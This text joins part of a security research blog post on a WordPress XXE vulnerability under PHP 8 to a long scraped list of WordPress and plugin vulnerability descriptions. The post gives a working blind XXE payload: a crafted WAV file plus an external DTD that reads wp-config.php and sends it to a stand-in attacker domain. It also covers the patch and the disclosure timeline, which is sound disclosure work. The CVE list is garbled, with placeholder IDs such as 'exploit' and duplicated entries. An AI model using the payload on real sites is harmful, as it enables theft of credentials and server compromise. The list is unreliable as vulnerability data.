Now the subtlety in the code we are looking at is that simplexml_load_string() is not called with default configuration. Even though the name might not suggest it, the flag LIBXML_NOENT **enables** entity substitution. Surprisingly, *NOENT* in this case means that no entities will be left in the result, and thus external entities will be fetched and substituted. As a result, exploiting the XXE vulnerability that was fixed in [WordPress 3.9.2](https://wordpress.org/news/2014/08/wordpress-3-9-2/) was made possible again on WordPress instances running on PHP 8.

### Exploitation

To exploit the described vulnerability it is necessary to understand if and how user-controlled data can reach the point where it gets parsed as XML as part of the $XMLstring variable in:

**wp-includes/ID3/getid3.lib.php**

```
public static function XML2array($XMLstring) {
?
    $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
```

WordPress uses *getID3* to ease extraction of this metadata when files are uploaded to its media library. Investigation of the getID3 library revealed that the string being parsed at that point is the [*iXML*](http://www.ixml.info/) chunk of a wave audio file when its metadata gets analyzed.

**wp-includes/ID3/module.audio-video.riff.php**

```
426   if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) {
427       // requires functions simplexml_load_string and get_object_vars
428       if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) {
```

WordPress does allow uploading wave audio files, and extracts their metadata with the wp_read_audio_metadata() function (which relies on *getID3*). Thus, by uploading a crafted wave file, malicious XML can be injected and parsed. A minimal file that has the necessary structure to be handled as wave and that contains an attack payload in the *iXML* chunk can be created with the following content:

```
RIFFXXXXWAVEBBBBiXML_OUR_PAYLOAD_
```

(*BBBB* being four bytes representing the length of the XML payload in little endian.)

### Blind XXE

When an attacker injects a payload with the described strategy, the result of the parsed XML is not displayed in the user interface. Thus, to extract the content of a sensitive file (e.g., *wp-config.php*), the attacker must rely on a blind XXE technique (also called *out-of-band* XXE) to achieve this. This is similar to the technique described in [our previous blog post](https://blog.sonarsource.com/shopware-php-object-instantiation-to-blind-xxe) about exploiting Shopware. The basic idea is this:

- A first external entity (e.g., %data) is created whose value will be substituted with the content of the file.
- Another external entity is created whose URI is set to ?*http://attacker_domain.com/%data;*?. Note the value of the URI contains the first entity which will be substituted.
- When resolving the second entity, the parser will make a request to ?*http://attacker_domain.com/_SUBSTITUTED_data*?, making the content of the file visible in the logs of the web server.

To make the URI of the external entity dependent on a value of another substituted entity, we do use parameter entities and an external DTD. Furthermore, we make use of the php:// stream wrapper to compress and encode the content of the file. Putting things together, the following would lead to the extraction of the sensitive *wp-config.php* file:

**payload.wav**

```
RIFFXXXXWAVEBBBBiXML<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://attacker-url.domain/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>>
```

```

(*BBBB* being four bytes representing the length of the XML payload in little endian.)

**xxe.dtd**

```
<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=../wp-config.php">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker-url.domain/?%data;'>">
```

## Patch

WordPress patched the vulnerability in [version 5.7.1](https://wordpress.org/support/wordpress-version/version-5-7-1/) by reintroducing the call to the libxml_disable_entity_loader() function that was deprecated in PHP 8 even for newer PHP versions. To avoid PHP deprecation warnings, the PHP error suppressing operator @ was added to the call.

**wp-includes/ID3/getid3.lib.php**

```
721 public static function XML2array($XMLstring) {?727 $loader =

```
@libxml_disable_entity_loader(true);728 $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
```

Another alternative to reintroducing the call to the deprecated function would have been to make use of PHP?s [libxml_set_external_entity_loader()](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php) function. This is the recommended way according to the PHP documentation. It also allows more granular control over the external entity loader in case the possibility of loading specific resources is required. This is, of course, only necessary if entity substitution is really required in PHP 8.

## Timeline

| Date | What |
| ---------- | ---------------------------------------------------- |
| 04.02.2021 | We report the vulnerability with PoC on Hackerone |
| 05.02.2021 | WordPress acknowledges receipt of report |
| 01.03.2021 | WordPress updates us about triage and a fix in progress |
| 08.03.2021 | WordPress informs us about upcoming security release |
| 14.04.2021 | WordPress releases version 5.7.1 |

## Summary

In this blog post we looked at an interesting XXE vulnerability we discovered in the most popular content management system, WordPress. It allows authenticated attackers to leak sensitive files from the host server which can lead to a full compromise. We showed how this type of vulnerability works and how attackers can exploit it by using blind XXE techniques. Further, we learned about a related pitfall in PHP 8 code and how developers can prevent this type of code vulnerability in their own applications. We would like to thank the WordPress team for a great collaboration and a quick resolution with a new patch release.

CVSS Score: 4.0

- CVE ID: exploit

Description: The plugin does not sanitise and escape a parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting

CVSS Score: 4.3

- CVE ID: exploit

Description: The plugin does not sanitise and escape the field "Custom Patreon Page name", which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed

CVSS Score: 3.5

- CVE ID: exploit

Description: The plugin does not escape Field Error Message, which could allow high-privileged users to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed

CVSS Score: 0.0

- CVE ID: exploit

Description: The plugin does not sanitise and escape the order and orderby parameters before using them in a SQL statement, leading to a SQL injection

CVSS Score: 0.0

- CVE ID: exploit

Description: The plugin does not properly sanitise and escape the Name fields of booked Events before outputting them in the Orders admin dashboard, which could allow unauthenticated users to perform Cross-Site Scripting attacks against admins.

CVSS Score: 4.3

- CVE ID: exploit

Description: Description WordPress does not properly restrict which user fields are searchable via the REST API.

CVSS Score: 5.0

- CVE ID: exploit

Description: The plugin is lacking any CSRF check when updating its settings, allowing attackers to make logged in administrators change them to arbitrary values.

CVSS Score: 4.3

- CVE ID: exploit

Description: The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

CVSS Score: 4.9

- CVE ID: exploit

Description: The plugin does not sanitise and escape some of the Slider options, allowing Cross-Site Scripting payloads to be set in them. Furthermore, as by default any authenticated user is allowed to create Sliders (https://wordpress.org/support/topic/slider-can-be-changed-from-any-user-even-subscriber/, such settings can be changed in the plugin's settings), this would allow user with a role as low as subscriber to perform Cross-Site Scripting attacks against logged in admins viewing the slider list and could lead to privilege escalation by creating a rogue admin account for example. Timeline July 19th, 2021 - Details sent to vendor July 21st, 2021 - Vendor working on a patch August 11th, 2021 - Asked for update August 12th, 20121 - Ticket handler will follow up with dev September 21st, 2021 - No update, public disclosure

CVSS Score: 3.5

- CVE ID: exploit

Description: The plugin did not sanitise or escape the $_SERVER['REQUEST_URI'] before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue.

CVSS Score: 4.3

- CVE ID: exploit

  Description: The plugin does not validate and sanitise fields when exporting people to a CSV file, leading to a CSV injection vulnerability.

  CVSS Score: 6.8

- CVE ID: exploit

  Description: The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admins

  CVSS Score: 5.8

- CVE ID: exploit

  Description: An id GET parameter of the plugin is not properly sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.

  CVSS Score: 6.5

- CVE ID: exploit

  Description: The plugin does not escape some generated URLs before outputting them back in href attributes of admin dashboard pages, leading to Reflected Cross-Site Scripting

  CVSS Score: 0.0

- CVE ID: exploit

  Description: The Latest Posts block in the WordPress editor can be exploited in a way that exposes password-protected posts and pages via the posts REST API when the "edit" context was used. This requires at least contributor privileges.

CVSS Score: 4.0

- CVE ID: exploit

Description: The Orders functionality in the plugin has an `order_id` parameter which is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection. The feature is available to low privilege users such as contributors

CVSS Score: 6.5

- CVE ID: exploit

Description: Description The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

CVSS Score: 0.0

- CVE ID: exploit

Description: The plugin exposes a couple of sensitive actions such has ?tp_reset? under the Utilities tab (/wp-admin/admin.php?page=tp_utils), which can be used/executed as the lowest-privileged user. Basically all Utilities functionalities are vulnerable this way, which involves resetting configurations and backup/restore operations.

CVSS Score: 0.0

- CVE ID: exploit

Description: The Orders functionality in the plugin has an order_id parameter which is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection. The feature is available to low privilege users such as contributors

CVSS Score: 6.5

- CVE ID: exploit

Description: The check_privacy_settings AJAX action of the plugin, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type. Since an HTML payload isn't properly escaped, it may be interpreted by a web browser led to this endpoint. Javascript code may be executed on a victim's browser. Due to v1.9.26 adding a CSRF check, the XSS is only exploitable against unauthenticated users (as they all share the same nonce)

CVSS Score: 4.3

- CVE ID: exploit

Description: WordPress is affected by an unauthenticated blind SSRF in the pingback feature. Because of a TOCTOU race condition between the validation checks and the HTTP request, attackers can reach internal hosts that are explicitly forbidden.

CVSS Score: 0.0

- CVE ID: exploit

Description: A user with the ability to upload files (like an Author) can exploit an XML parsing issue in the Media Library leading to XXE attacks. WordPress used an audio parsing library called ID3 that was affected by an XML External Entity (XXE) vulnerability affecting PHP versions 8 and above. This particular vulnerability could be triggered when parsing WAVE audio files.

CVSS Score: 4.0

- CVE ID: exploit

Description: The plugin does not sanitise its APP ID setting before outputting it back in the page, leading to an authenticated Stored Cross-Site Scripting issue

CVSS Score: 3.5

- CVE ID: exploit

Description: The plugin does not have proper capability checks in place, which could allow users with a role as low as Contributor to schedule deletion of arbitrary posts.

CVSS Score: 4.0

- CVE ID: exploit

Description: The plugin does not escape the minWidth attribute of a Gutenburg block, which could allow users with a role as low as contributor to perform Cross-Site Scripting attacks

CVSS Score: 3.5

- CVE ID: exploit

Description: Description The plugin does not prevent directory listing in sensitive directories containing export files.

CVSS Score: 5.0

- CVE ID: exploit

Description: The plugin did not sanitise or escape the historyvalue GET parameter before outputting it in a Javascript block, leading to a reflected Cross-Site Scripting issue.

CVSS Score: 4.3

- CVE ID: exploit

Description: The plugin does not properly sanitise and escape some parameters before using them in SQL statements via various AJAX actions, some of which are available to unauthenticated users, leading to SQL Injections

CVSS Score: 7.5

- CVE ID: NVD

Description: Multiple cross-site scripting (XSS) vulnerabilities in template-functions-post.php in WordPress 1.5 and earlier allow remote attackers to execute arbitrary commands via the (1) content or (2) title of the post.

CVSS Score: 6.8

- CVE ID: NVD

Description: Wordpress 1.5 and earlier allows remote attackers to obtain sensitive information via a direct request to files in (1) wp-content/themes/, (2) wp-includes/, or (3) wp-admin/, which reveal the path in an error message.

CVSS Score: 5.0

- CVE ID: NVD

Description: A flaw exists in Wordpress related to the 'wp-admin/press-this.php 'script improperly checking user permissions when publishing posts. This may allow a user with 'Contributor-level' privileges to post as if they had 'publish_posts' permission.

CVSS Score: 4.0

- CVE ID: NVD

Description: WordPress users with lower privileges (like contributors) can inject JavaScript code in the block editor using a specific payload, which is executed within the dashboard. This can lead to XSS if an admin opens the post in the editor. Execution of this attack does require an authenticated user. This has been patched in WordPress 5.3.1, along with all the previous WordPress versions from 3.7 to 5.3 via a minor release. Automatic updates are enabled by default for minor releases and we strongly recommend that you keep them enabled.

CVSS Score: 3.5

- CVE ID: NVD

Description: In WordPress before 5.3.1, authenticated users with lower privileges (like contributors) can inject JavaScript code in the block editor, which is executed within the dashboard. It can lead to an admin opening the affected post in the editor leading to XSS.

CVSS Score: 3.5

- CVE ID: NVD

Description: In affected versions of WordPress, a cross-site scripting (XSS) vulnerability in the navigation section of Customizer allows JavaScript code to be executed. Exploitation requires an authenticated user. This has been patched in version 5.4.1, along with all the previously affected versions via a minor release (5.3.3, 5.2.6, 5.1.5, 5.0.9, 4.9.14, 4.8.13, 4.7.17, 4.6.18, 4.5.21, 4.4.22, 4.3.23, 4.2.27, 4.1.30, 4.0.30, 3.9.31, 3.8.33, 3.7.33).

CVSS Score: 3.5

- CVE ID: NVD

Description: In affected versions of WordPress, files with a specially crafted name when uploaded to the Media section can lead to script execution upon accessing the file. This requires an authenticated user with privileges to upload files. This has been patched in version 5.4.1, along with all the previously affected versions via a minor release (5.3.3, 5.2.6, 5.1.5, 5.0.9, 4.9.14, 4.8.13, 4.7.17, 4.6.18, 4.5.21, 4.4.22, 4.3.23, 4.2.27, 4.1.30, 4.0.30, 3.9.31, 3.8.33, 3.7.33).

CVSS Score: 3.5

- CVE ID: NVD

Description: In affected versions of WordPress, a password reset link emailed to a user does not expire upon changing the user password. Access would be needed to the email account of the user by a malicious party for successful execution. This has been patched in version 5.4.1, along with all the previously affected versions via a minor release (5.3.3, 5.2.6, 5.1.5, 5.0.9, 4.9.14, 4.8.13, 4.7.17, 4.6.18, 4.5.21, 4.4.22, 4.3.23, 4.2.27, 4.1.30, 4.0.30, 3.9.31, 3.8.33, 3.7.33).

CVSS Score: 5.5

- CVE ID: NVD

Description: In affected versions of WordPress, some private posts, which were previously public, can result in unauthenticated disclosure under a specific set of conditions. This has been patched in version 5.4.1, along with all the previously affected versions via a minor release (5.3.3, 5.2.6, 5.1.5, 5.0.9, 4.9.14, 4.8.13, 4.7.17, 4.6.18, 4.5.21, 4.4.22, 4.3.23, 4.2.27, 4.1.30, 4.0.30, 3.9.31, 3.8.33, 3.7.33).

CVSS Score: 4.3

- CVE ID: NVD

Description: In affected versions of WordPress, a vulnerability in the stats() method of class-wp-object-cache.php can be exploited to execute cross-site scripting (XSS) attacks. This has been patched in version 5.4.1, along with all the previously affected versions via a minor release (5.3.3, 5.2.6, 5.1.5, 5.0.9, 4.9.14, 4.8.13, 4.7.17, 4.6.18, 4.5.21, 4.4.22, 4.3.23, 4.2.27, 4.1.30, 4.0.30, 3.9.31, 3.8.33, 3.7.33).

CVSS Score: 4.3

- CVE ID: NVD

Description: In affected versions of WordPress, a special payload can be crafted that can lead to scripts getting executed within the search block of the block editor. This requires an authenticated user with the ability to add content. This has been patched in version 5.4.1, along with all the previously affected versions via a minor release (5.3.3, 5.2.6, 5.1.5, 5.0.9, 4.9.14, 4.8.13, 4.7.17, 4.6.18, 4.5.21, 4.4.22, 4.3.23, 4.2.27, 4.1.30, 4.0.30, 3.9.31, 3.8.33, 3.7.33).

CVSS Score: 3.5

- CVE ID: NVD

Description: In affected versions of WordPress, users with low privileges (like contributors and authors) can use the embed block in a certain way to inject unfiltered HTML in the block editor. When affected posts are viewed by a higher privileged user, this could lead to script execution in the editor/wp-admin. This has been patched in version 5.4.2, along with all the previously affected versions via a minor release (5.3.4, 5.2.7, 5.1.6, 5.0.10, 4.9.15, 4.8.14, 4.7.18, 4.6.19, 4.5.22, 4.4.23, 4.3.24, 4.2.28, 4.1.31, 4.0.31, 3.9.32, 3.8.34, 3.7.34).

CVSS Score: 3.5

- CVE ID: NVD

Description: In affected versions of WordPress, authenticated users with upload permissions (like authors) are able to inject JavaScript into some media file attachment pages in a certain way. This can lead to script execution in the context of a higher privileged user when the file is viewed by them. This has been patched in version 5.4.2, along with all the previously affected versions via a minor release (5.3.4, 5.2.7, 5.1.6, 5.0.10, 4.9.15, 4.8.14, 4.7.18, 4.6.19, 4.5.22, 4.4.23, 4.3.24, 4.2.28, 4.1.31, 4.0.31, 3.9.32, 3.8.34, 3.7.34).

CVSS Score: 3.5

- CVE ID: NVD

Description: In affected versions of WordPress, due to an issue in wp_validate_redirect() and URL sanitization, an arbitrary external link can be crafted leading to unintended/open redirect when clicked. This has been patched in version 5.4.2, along with all the previously affected versions via a minor release (5.3.4, 5.2.7, 5.1.6, 5.0.10, 4.9.15, 4.8.14, 4.7.18, 4.6.19, 4.5.22, 4.4.23, 4.3.24, 4.2.28, 4.1.31, 4.0.31, 3.9.32, 3.8.34, 3.7.34).

CVSS Score: 4.9

- CVE ID: NVD

Description: In affected versions of WordPress, when uploading themes, the name of the theme folder can be crafted in a way that could lead to JavaScript execution in /wp-admin on the themes page. This does require an admin to upload the theme, and is low severity self-XSS. This has been patched in version 5.4.2, along with all the previously affected versions via a minor release (5.3.4, 5.2.7, 5.1.6, 5.0.10, 4.9.15, 4.8.14, 4.7.18, 4.6.19, 4.5.22, 4.4.23, 4.3.24, 4.2.28, 4.1.31, 4.0.31, 3.9.32, 3.8.34, 3.7.34).

CVSS Score: 3.5

- CVE ID: NVD

Description: In affected versions of WordPress, misuse of the `set-screen-option` filter's return value allows arbitrary user meta fields to be saved. It does require an admin to install a plugin that would misuse the filter. Once installed, it can be leveraged by low privileged users. This has been patched in version 5.4.2, along with all the previously affected versions via a minor release (5.3.4, 5.2.7, 5.1.6, 5.0.10, 4.9.15, 4.8.14, 4.7.18, 4.6.19, 4.5.22, 4.4.23, 4.3.24, 4.2.28, 4.1.31, 4.0.31, 3.9.32, 3.8.34, 3.7.34).

CVSS Score: 6.0

- CVE ID: NVD

Description: The Jetpack Scan team identified a Local File Disclosure vulnerability in the Patreon WordPress plugin before 1.7.0 that could be abused by anyone visiting the site. Using this attack vector, an attacker could leak important internal files like wp-config.php, which contains database credentials and cryptographic keys used in the generation of nonces and cookies.

CVSS Score: 5.0

- CVE ID: NVD

Description: The Jetpack Scan team identified a Reflected Cross-Site Scripting in the Login Form of the Patreon WordPress plugin before 1.7.2. The WordPress login form (wp-login.php) is hooked by the plugin and offers to allow users to authenticate on the site using their Patreon account. Unfortunately, some of the error logging logic behind the scene allowed user-controlled input to be reflected on the login page, unsanitized.

CVSS Score: 6.8

- CVE ID: NVD

Description: The Jetpack Scan team identified a Reflected Cross-Site Scripting via the patreon_save_attachment_patreon_level AJAX action of the Patreon WordPress plugin before 1.7.2. This AJAX hook is used to update the pledge level required by Patreon subscribers to access a given attachment. This action is accessible for user accounts with the ?manage_options? privilege (i.e.., only administrators). Unfortunately, one of the parameters used in this AJAX endpoint is not sanitized before being printed back to the user, so the risk it represents is the same as the previous XSS vulnerability.

CVSS Score: 6.8

- CVE ID: NVD

Description: The Jetpack Scan team identified a Cross-Site Request Forgery vulnerability in the Patreon WordPress plugin before 1.7.0, allowing attackers to make a logged in user overwrite or create arbitrary user metadata on the victim?s account once visited. If exploited, this bug can be used to overwrite the ?wp_capabilities? meta, which contains the affected user account?s roles and privileges. Doing this would essentially lock them out of the site, blocking them from accessing paid content.

CVSS Score: 5.8

- CVE ID: NVD

Description: The Jetpack Scan team identified a Cross-Site Request Forgery vulnerability in the Patreon WordPress plugin before 1.7.0, allowing attackers to make a logged administrator disconnect the site from Patreon by visiting a specially crafted link.

CVSS Score: 4.3

- CVE ID: NVD

  Description: The iFlyChat WordPress plugin before 4.7.0 does not sanitise its APP ID setting before outputting it back in the page, leading to an authenticated Stored Cross-Site Scripting issue

  CVSS Score: 3.5

- CVE ID: NVD

  Description: The WP Hardening ? Fix Your WordPress Security WordPress plugin before 1.2.2 did not sanitise or escape the $_SERVER['REQUEST_URI'] before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue.

  CVSS Score: 4.3

- CVE ID: NVD

  Description: The WP Hardening ? Fix Your WordPress Security WordPress plugin before 1.2.2 did not sanitise or escape the historyvalue GET parameter before outputting it in a Javascript block, leading to a reflected Cross-Site Scripting issue.

  CVSS Score: 4.3

- CVE ID: NVD

  Description: The Shantz WordPress QOTD WordPress plugin through 1.2.2 is lacking any CSRF check when updating its settings, allowing attackers to make logged in administrators change them to arbitrary values.

  CVSS Score: 4.3

- CVE ID: NVD

  Description: An id GET parameter of the WordPress Membership SwiftCloud.io WordPress plugin through 1.0 is not properly sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.

CVSS Score: 6.5

- CVE ID: NVD

Description: The Orders functionality in the WP iCommerce WordPress plugin through 1.1.1 has an `order_id` parameter which is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection. The feature is available to low privilege users such as contributors

CVSS Score: 6.5

- CVE ID: NVD

Description: The Orders functionality in the WordPress Page Contact plugin through 1.0 has an order_id parameter which is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection. The feature is available to low privilege users such as contributors

CVSS Score: 6.5

- CVE ID: NVD

Description: The Responsive WordPress Slider WordPress plugin through 2.2.0 does not sanitise and escape some of the Slider options, allowing Cross-Site Scripting payloads to be set in them. Furthermore, as by default any authenticated user is allowed to create Sliders (https://wordpress.org/support/topic/slider-can-be-changed-from-any-user-even-subscriber/, such settings can be changed in the plugin's settings), this would allow user with a role as low as subscriber to perform Cross-Site Scripting attacks against logged in admins viewing the slider list and could lead to privilege escalation by creating a rogue admin account for example.

CVSS Score: 3.5

- CVE ID: NVD

  Description: The WordPress Slider Block Gutenslider plugin before 5.2.0 does not escape the minWidth attribute of a Gutenburg block, which could allow users with a role as low as contributor to perform Cross-Site Scripting attacks

  CVSS Score: 3.5

- CVE ID: NVD

  Description: The Post Expirator WordPress plugin before 2.6.0 does not have proper capability checks in place, which could allow users with a role as low as Contributor to schedule deletion of arbitrary posts.

  CVSS Score: 4.0

- CVE ID: NVD

  Description: The Tickera WordPress plugin before 3.4.8.3 does not properly sanitise and escape the Name fields of booked Events before outputting them in the Orders admin dashboard, which could allow unauthenticated users to perform Cross-Site Scripting attacks against admins.

  CVSS Score: 4.3

- CVE ID: NVD

  Description: The Transposh WordPress Translation WordPress plugin before 1.0.8 does not sanitise and escape the a parameter via an AJAX action (available to both unauthenticated and authenticated users when the curl library is installed) before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue

  CVSS Score: 5.8

- CVE ID: NVD

  Description: The Transposh WordPress Translation WordPress plugin before 1.0.8 does not sanitise and escape the tk0 parameter from the tp_translation AJAX action, leading to Stored Cross-Site Scripting, which will trigger in the admin dashboard of the plugin. The minimum role needed to perform such attack depends on the plugin "Who can translate ?" setting.

  CVSS Score: 4.9

- CVE ID: NVD

  Description: The Transposh WordPress Translation WordPress plugin before 1.0.8 does not have CSRF check in its tp_translation AJAX action, which could allow attackers to make authorised users add a translation. Given the lack of sanitisation in the tk0 parameter, this could lead to a Stored Cross-Site Scripting issue which will be executed in the context of a logged in admin

  CVSS Score: 4.9

- CVE ID: NVD

  Description: The Patreon WordPress plugin before 1.8.2 does not sanitise and escape the field "Custom Patreon Page name", which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed

  CVSS Score: 3.5

- CVE ID: NVD

  Description: Wordpress is an open source CMS. A user with the ability to upload files (like an Author) can exploit an XML parsing issue in the Media Library leading to XXE attacks. This requires WordPress installation to be using PHP 8. Access to internal files is possible in a successful XXE attack. This has been patched in WordPress version 5.7.1, along with the older affected versions via a minor release. We strongly recommend you keep auto-updates enabled.

CVSS Score: 4.0

- CVE ID: NVD

Description: Wordpress is an open source CMS. One of the blocks in the WordPress editor can be exploited in a way that exposes password-protected posts and pages. This requires at least contributor privileges. This has been patched in WordPress 5.7.1, along with the older affected versions via minor releases. It's strongly recommended that you keep auto-updates enabled to receive the fix.

CVSS Score: 4.0

- CVE ID: NVD

Description: WordPress is a free and open-source content management system written in PHP and paired with a MySQL or MariaDB database. In affected versions output data of the function wp_die() can be leaked under certain conditions, which can include data like nonces. It can then be used to perform actions on your behalf. This has been patched in WordPress 5.8.1, along with any older affected versions via minor releases. It's strongly recommended that you keep auto-updates enabled to receive the fix.

CVSS Score: 4.3

- CVE ID: NVD

Description: WordPress is a free and open-source content management system written in PHP and paired with a MySQL or MariaDB database. ### Impact The issue allows an authenticated but low-privileged user (like contributor/author) to execute XSS in the editor. This bypasses the restrictions imposed on users who do not have the permission to post `unfiltered_html`. ### Patches This has been patched in WordPress 5.8, and will be pushed to older versions via minor releases (automatic updates). It's strongly recommended that you keep auto-updates enabled to receive the fix. ### References https://wordpress.org/news/category/releases/ https://hackerone.com/reports/1142140 ### For more information If you have any questions or comments about this advisory: * Open an issue in [HackerOne](https://hackerone.com/wordpress)

CVSS Score: 3.5

- CVE ID: NVD

Description: The check_privacy_settings AJAX action of the WordPress GDPR WordPress plugin before 1.9.27, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type. Since an HTML payload isn't properly escaped, it may be interpreted by a web browser led to this endpoint. Javascript code may be executed on a victim's browser. Due to v1.9.26 adding a CSRF check, the XSS is only exploitable against unauthenticated users (as they all share the same nonce)

CVSS Score: 4.3

- CVE ID: NVD

Description: The Ubigeo de Perú para Woocommerce WordPress plugin before 3.6.4 does not properly sanitise and escape some parameters before using them in SQL statements via various AJAX actions, some of which are available to unauthenticated users, leading to SQL Injections

CVSS Score: 7.5

- CVE ID: NVD

Description: The EXMAGE WordPress plugin before 1.0.7 does to ensure that images added via URLs are external images, which could lead to a blind SSRF issue by using local URLs

CVSS Score: 6.5

- CVE ID: NVD

Description: The WP-CRM WordPress plugin through 1.2.1 does not validate and sanitise fields when exporting people to a CSV file, leading to a CSV injection vulnerability.

CVSS Score: 6.8

- CVE ID: NVD

Description: The WP 2FA WordPress plugin before 2.2.1 does not sanitise and escape a parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting

CVSS Score: 4.3

- CVE ID: NVD

Description: WordPress is a free and open-source content management system written in PHP and paired with a MariaDB database. Due to improper sanitization in WP_Query, there can be cases where SQL injection is possible through plugins or themes that use it in a certain way. This has been patched in WordPress version 5.8.3. Older affected versions are also fixed via security release, that go back till 3.7.37. We strongly recommend that you keep auto-updates enabled. There are no known workarounds for this vulnerability.

CVSS Score: 5.0

- CVE ID: NVD

Description: WordPress is a free and open-source content management system written in PHP and paired with a MariaDB database. Low-privileged authenticated users (like author) in WordPress core are able to execute JavaScript/perform stored XSS attack, which can affect high-privileged users. This has been patched in WordPress version 5.8.3. Older affected versions are also fixed via security release, that go back till 3.7.37. We strongly recommend that you keep auto-updates enabled. There are no known workarounds for this issue.

CVSS Score: 3.5

- CVE ID: NVD

  Description: WordPress is a free and open-source content management system written in PHP and paired with a MariaDB database. On a multisite, users with Super Admin role can bypass explicit/additional hardening under certain conditions through object injection. This has been patched in WordPress version 5.8.3. Older affected versions are also fixed via security release, that go back till 3.7.37. We strongly recommend that you keep auto-updates enabled. There are no known workarounds for this issue.

  CVSS Score: 6.5

- CVE ID: NVD

  Description: WordPress is a free and open-source content management system written in PHP and paired with a MariaDB database. Due to lack of proper sanitization in one of the classes, there's potential for unintended SQL queries to be executed. This has been patched in WordPress version 5.8.3. Older affected versions are also fixed via security release, that go back till 4.1.34. We strongly recommend that you keep auto-updates enabled. There are no known workarounds for this issue.

  CVSS Score: 6.5

- CVE ID: NVD

  Description: The Advanced WordPress Reset WordPress plugin before 1.6 does not escape some generated URLs before outputting them back in href attributes of admin dashboard pages, leading to Reflected Cross-Site Scripting

  CVSS Score: 5.8

- CVE ID: NVD

  Description: The WordPress Comments Fields WordPress plugin before 4.1 does not escape Field

Error Message, which could allow high-privileged users to perform Cross-Site Scripting attacks even when unfiltered_html is disallowed

CVSS Score: 4.3

- CVE ID: NVD

Description: The Transposh WordPress Translation WordPress plugin through 1.0.8 exposes a couple of sensitive actions such has ?tp_reset? under the Utilities tab (/wp-admin/admin.php?page=tp_utils), which can be used/executed as the lowest-privileged user. Basically all Utilities functionalities are vulnerable this way, which involves resetting configurations and backup/restore operations.

CVSS Score: 4.0

- CVE ID: NVD

Description: The Transposh WordPress Translation WordPress plugin through 1.0.8 does not sanitise and escape the order and orderby parameters before using them in a SQL statement, leading to a SQL injection

CVSS Score: 5.8

- CVE ID: NVD

Description: The Transposh WordPress Translation WordPress plugin before 1.0.8 does not validate its debug settings, which could allow allowing high privilege users such as admin to perform RCE

CVSS Score: 5.8

- CVE ID: NVD

Description: WordPress is affected by an unauthenticated blind SSRF in the pingback feature.

Because of a TOCTOU race condition between the validation checks and the HTTP request, attackers can reach internal hosts that are explicitly forbidden.

CVSS Score: 2.6

- CVE ID: NVD

Description: The WordPress Infinite Scroll WordPress plugin before 5.6.0.3 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

CVSS Score: 4.9

- CVE ID: NVD

Description: The WordPress Shortcodes WordPress plugin through 1.6.36 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

CVSS Score: 4.9

- CVE ID: NVD

Description: The WordPress CRM, Email & Marketing Automation for WordPress | Award Winner ? Groundhogg WordPress plugin before 2.7.9.4 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admins

CVSS Score: 5.8

- CVE ID: NVD

Description: WordPress Core is vulnerable to Directory Traversal in versions up to, and including, 6.2, via the ?wp_lang? parameter. This allows unauthenticated attackers to access and load arbitrary translation files. In cases where an attacker is able to upload a crafted translation file onto the site, such as via an upload form, this could be also used to perform a Cross-Site Scripting attack.

CVSS Score: 4.0

- CVE ID: NVD

Description: The WordPress Database Administrator WordPress plugin through 1.0.3 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.

CVSS Score: 7.5

- CVE ID: NVD

Description: WordPress does not properly restrict which user fields are searchable via the REST API, allowing unauthenticated attackers to discern the email addresses of users who have published public posts on an affected website via an Oracle style attack

CVSS Score: 5.0

- CVE ID: NVD

Description: WordPress Core is vulnerable to Sensitive Information Exposure in versions up to, and including, 6.4.3 via the redirect_guess_404_permalink function. This can allow unauthenticated attackers to expose the slug of a custom post whose 'publicly_queryable' post status has been set to 'false'.

CVSS Score: 5.0

- CVE ID: NVD

  Description: The Migrate WordPress Website & Backups WordPress plugin before 1.9.3 does not prevent directory listing in sensitive directories containing export files.

  CVSS Score: 5.0

- CVE ID: NVD

